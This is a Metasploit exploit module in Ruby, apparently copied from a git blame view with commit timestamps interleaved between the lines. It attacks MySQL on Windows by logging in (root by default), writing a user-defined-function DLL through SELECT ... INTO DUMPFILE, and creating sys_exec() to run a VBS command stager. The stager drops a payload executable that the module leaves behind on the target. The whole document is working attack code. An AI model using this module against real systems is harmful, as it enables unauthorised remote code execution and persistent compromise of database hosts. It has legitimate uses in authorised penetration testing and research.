2011-03-08 22:42:26 +00:00
|
|
|
##
|
2013-10-15 18:50:46 +00:00
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-03-08 22:42:26 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
2011-03-08 22:42:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::MYSQL
|
2014-02-08 00:46:19 +00:00
|
|
|
include Msf::Exploit::CmdStager
|
2011-03-08 22:42:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(
|
|
|
|
update_info(
|
|
|
|
info,
|
2014-02-08 22:31:06 +00:00
|
|
|
'Name' => 'Oracle MySQL for Microsoft Windows Payload Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module creates and enables a custom UDF (user defined function) on the
|
|
|
|
target host via the SELECT ... into DUMPFILE method of binary injection. On
|
|
|
|
default Microsoft Windows installations of MySQL (=< 5.5.9), directory write
|
|
|
|
permissions not enforced, and the MySQL service runs as LocalSystem.
|
2011-03-08 22:42:26 +00:00
|
|
|
|
2014-02-08 22:31:06 +00:00
|
|
|
NOTE: This module will leave a payload executable on the target system when the
|
|
|
|
attack is finished, as well as the UDF DLL, and will define or redefine sys_eval()
|
|
|
|
and sys_exec() functions.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the lib_mysqludf_sys.dll binaries
|
|
|
|
'todb' # this Metasploit module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
# Bernardo's work with cmd exec via udf
|
|
|
|
[ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ],
|
|
|
|
# Advice from 2005 on securing MySQL on Windows, kind of helpful.
|
|
|
|
[ 'URL', 'http://dev.mysql.com/tech-resources/articles/securing_mysql_windows.html' ]
|
|
|
|
],
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit)
|
|
|
|
],
|
|
|
|
'CmdStagerFlavor' => :vbs,
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Jan 16 2009' # Date of Bernardo's blog post.
|
2013-08-30 21:28:54 +00:00
|
|
|
))
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptBool.new('FORCE_UDF_UPLOAD', [ false, 'Always attempt to install a sys_exec() mysql.function.', false ]),
|
|
|
|
OptString.new('USERNAME', [ false, 'The username to authenticate as', 'root' ])
|
|
|
|
])
|
|
|
|
end
|
2011-03-08 22:42:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def username
|
|
|
|
datastore['USERNAME']
|
|
|
|
end
|
2011-03-08 22:42:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def password
|
|
|
|
datastore['PASSWORD']
|
|
|
|
end
|
2011-03-08 22:42:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def login_and_get_sys_exec
|
|
|
|
m = mysql_login(username,password,'mysql')
|
|
|
|
return if not m
|
|
|
|
@mysql_arch = mysql_get_arch
|
|
|
|
@mysql_sys_exec_available = mysql_check_for_sys_exec()
|
|
|
|
if !@mysql_sys_exec_available || datastore['FORCE_UDF_UPLOAD']
|
|
|
|
mysql_add_sys_exec
|
|
|
|
@mysql_sys_exec_available = mysql_check_for_sys_exec()
|
|
|
|
else
|
|
|
|
print_status "sys_exec() already available, using that (override with FORCE_UDF_UPLOAD)."
|
|
|
|
end
|
2013-01-07 22:12:10 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
return m
|
|
|
|
end
|
2011-03-08 22:42:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def execute_command(cmd, opts)
|
|
|
|
mysql_sys_exec(cmd, datastore['VERBOSE'])
|
|
|
|
end
|
2011-03-08 22:42:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
m = login_and_get_sys_exec()
|
2011-03-08 22:42:26 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if not m
|
|
|
|
return
|
|
|
|
elsif not [:win32,:win64].include?(@mysql_arch)
|
|
|
|
print_status("Incompatible MySQL target architecture: '#{@mysql_arch}'")
|
|
|
|
return
|
|
|
|
else
|
|
|
|
if @mysql_sys_exec_available
|
|
|
|
execute_cmdstager({:linemax => 1500, :nodelete => true})
|
|
|
|
handler
|
|
|
|
else
|
|
|
|
print_status("MySQL function sys_exec() not available")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
|
|
|
disconnect
|
|
|
|
end
|
2011-03-08 22:42:26 +00:00
|
|
|
|
|
|
|
end
|